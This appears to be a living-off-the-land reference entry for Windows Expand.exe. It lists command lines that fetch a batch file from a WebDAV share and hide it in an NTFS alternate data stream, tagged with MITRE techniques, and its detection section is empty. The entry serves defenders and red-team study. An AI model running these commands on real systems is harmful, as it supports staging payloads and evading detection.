.. / Expand.exe
Star

Binary that expands one or more compressed files


Paths:


Resources:
https://twitter.com/infosecn1nja/status/986628482858807297
https://twitter.com/Oddvarmoe/status/986709068759949319

Acknowledgement:
Rahmat Nurfauzi - @infosecn1nja
Oddvar Moe - @oddvarmoe


Detection:



Download

Copies source file to destination. 
expand \\webdav\folder\file.bat c:\ADS\file.bat
Usecase:Use to copies the source file to the destination file
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1105



Copy

Copies source file to destination. 
expand c:\ADS\file1.bat c:\ADS\file2.bat
Usecase:Copies files from A to B
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1105



Alternate data streams

Copies source file to destination Alternate Data Stream (ADS) 
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
Usecase:Copies files from A to B
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1096